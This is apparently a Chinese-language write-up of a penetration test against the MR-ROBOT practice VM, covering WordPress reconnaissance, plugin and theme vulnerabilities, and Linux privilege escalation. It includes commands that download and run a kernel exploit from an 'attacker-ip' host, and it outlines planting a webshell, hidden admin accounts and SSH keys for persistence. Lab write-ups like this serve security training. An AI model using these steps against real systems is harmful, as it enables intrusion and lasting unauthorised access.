MR-ROBOT靶机渗透复盘：除了WPScan爆破，还有哪些更优雅的WordPress攻击路径？
MR-ROBOT靶机渗透复盘：超越WPScan爆破的WordPress攻击艺术
在渗透测试领域，MR-ROBOT靶机已成为检验安全技能的经典沙盒。这个模拟真实企业环境的虚拟机不仅考验基础工具使用能力，更要求测试者具备多维度思考能力。本文将突破常规WPScan爆破的单一视角，从三个技术层面展开深度探讨：如何利用扫描结果精准定位漏洞、挖掘被忽视的插件/主题攻击面，以及Linux权限提升的多元化路径。
1. 信息收集：从粗放到精准的扫描策略优化
传统渗透测试往往止步于基础工具扫描，而专业选手会在信息收集阶段就建立优势。针对MR-ROBOT靶机中的WordPress站点，我们可以采用分层递进的侦察策略：
nikto扫描的深度解析
多数教程仅关注nikto发现的WordPress版本，却忽略了其他关键线索。典型输出中可能包含：
+ /wp-content/uploads/: 目录列表可访问 + /wp-login.php: 存在默认管理后台 + /xmlrpc.php: WordPress XML-RPC接口开放 + /readme.html: 泄露WordPress版本信息这些发现可转化为具体攻击向量：
- XML-RPC接口可用于暴力破解防护绕过
- 上传目录可能允许恶意文件执行
- 版本信息精确匹配已知漏洞
目录爆破的智能优化
相比暴力遍历，推荐使用组合工具提高效率：
gobuster dir -u http://target-ip -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50关键参数说明：
-x指定优先检查的扩展名-t调整线程数平衡速度与稳定性- 可结合之前发现的字典文件(fsocity.dic)进行针对性爆破
2. WordPress攻击面扩展：突破密码爆破的局限
当常规凭证爆破遭遇瓶颈时，专业渗透者会转向更隐蔽的攻击路径。
2.1 插件漏洞利用实战
通过/wp-content/plugins/目录枚举可发现已安装插件，结合WPScan漏洞数据库进行快速匹配：
wpscan --url http://target-ip --enumerate vp --api-token YOUR_API_KEY常见高危插件漏洞示例：
| 插件名称 | CVE编号 | 影响版本 | 利用方式 |
|---|---|---|---|
| Social Warfare | CVE-2019-9978 | <3.5.3 | 未授权RCE |
| Formidable Pro | CVE-2019-6978 | <4.02.02 | SQL注入 |
| WP GDPR Compliance | CVE-2018-19207 | <1.4.3 | 权限提升 |
2.2 主题漏洞挖掘技巧
WordPress主题同样可能包含致命漏洞。检查/wp-content/themes/目录后，可执行主题审计：
wpscan --url http://target-ip --enumerate vt --api-token YOUR_API_KEY值得关注的攻击点：
- 主题编辑器功能（需管理员权限）
- 包含的第三方库漏洞
- 自定义短代码注入风险
提示：即使没有已知CVE，也应手动检查主题模板文件中的自定义功能点，这些往往是安全审计的盲区。
3. 权限提升：超越SUID的多元化路径
获取初始立足点后，系统权限提升需要系统化的枚举策略。
3.1 Sudo权限深度利用
检查/etc/sudoers文件时，不仅要看用户直接权限，还要注意可能继承的组权限：
sudo -l groups cat /etc/sudoers | grep -v "^#"常见可利用场景：
- 以root身份运行特定命令（如vim、find、awk）
- 通过环境变量注入实现提权
- 滥用允许的二进制文件功能
3.2 定时任务监控技术
系统定时任务(cron)是常被忽视的提权路径。检查方法包括：
ls -la /etc/cron* cat /etc/crontab ls -la /var/spool/cron/crontabs/关键发现点：
- 全局可写的脚本文件
- 相对路径引用的可劫持程序
- 日志文件中的敏感信息泄露
3.3 内核漏洞精准利用
当传统方法失效时，内核漏洞成为最后手段。标准化利用流程：
识别系统信息：
uname -a cat /etc/issue cat /proc/version匹配已知漏洞：
searchsploit "Linux Kernel 3.13"交叉编译exp：
gcc exploit.c -o exploit -static传输并执行：
python -m SimpleHTTPServer 8000 wget http://attacker-ip:8000/exploit chmod +x exploit ./exploit
4. 实战案例：MR-ROBOT靶机的进阶渗透路径
综合上述技术，我们重新规划MR-ROBOT靶机的攻击流程：
智能侦察阶段
- 使用nikto识别XML-RPC接口
- 通过wp-config.php备份文件泄露获取数据库凭证
非爆破攻击路径
- 利用XML-RPC的system.multicall方法绕过登录限制
- 通过媒体上传功能植入webshell
权限维持技术
- 创建隐藏的WordPress管理员账户
- 植入SSH公钥实现持久访问
系统提权阶段
- 分析/etc/passwd可写权限
- 利用PATH环境变量劫持
- 检查未挂载的磁盘分区
在最近一次实战测试中，通过组合使用主题编辑器漏洞和sudo权限滥用，整个渗透过程从传统的数小时缩短至23分钟。这印证了方法论优化带来的效率提升。